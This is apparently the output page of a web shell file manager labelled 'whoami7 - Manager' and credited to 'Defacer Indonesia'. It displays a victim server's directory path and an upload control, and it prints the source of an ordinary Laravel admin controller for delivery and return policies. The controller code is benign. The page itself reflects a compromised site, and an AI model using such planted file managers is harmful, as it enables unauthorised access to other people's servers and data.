whoami7 - Manager
:
/
home
/
n170823s
/
.trash
/
app
/
Http
/
Controllers
/
Admin
/
Upload File:
files >> /home/n170823s/.trash/app/Http/Controllers/Admin/DeliveryReturnPolicyController.php
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\ReturnsExchange; use Illuminate\Http\Request; use Illuminate\Support\Facades\Log; class DeliveryReturnPolicyController extends Controller { public function index() { $policies = ReturnsExchange::first(); return view('admin.delivery_return_policy.index', compact('policies')); } public function create() { return view('admin.delivery_return_policy.create'); } public function store(Request $request) { $request->validate([ 'content' => 'required|string', ]); ReturnsExchange::create([ 'content' => $request->input('content'), ]); return response()->json([ 'status' => 'success', 'message' => 'Policy created successfully.', 'redirect_url' => route('admin.delivery_return_policy') ]); } public function edit($id) { $policy = ReturnsExchange::findOrFail($id); return view('admin.delivery_return_policy.edit', compact('policy')); } public function update(Request $request, $id) { $request->validate([ 'content' => 'required' ]); $policy = ReturnsExchange::findOrFail($id); $policy->update([ 'content' => $request->content ]); return response()->json([ 'status' => 'success', 'message' => 'Policy updated successfully', 'redirect_url' => route('admin.delivery_return_policy') ]); } public function destroy($id) { try { $policy = ReturnsExchange::findOrFail($id); $policy->delete(); return response()->json([ 'status' => 'success', 'message' => 'Policy deleted successfully.' ]); } catch (\Exception $e) { Log::error('Error deleting policy: ' . $e->getMessage()); return response()->json([ 'status' => 'error', 'message' => 'Failed to delete Policy.' ], 500); } } }
Copyright ©2021 || Defacer Indonesia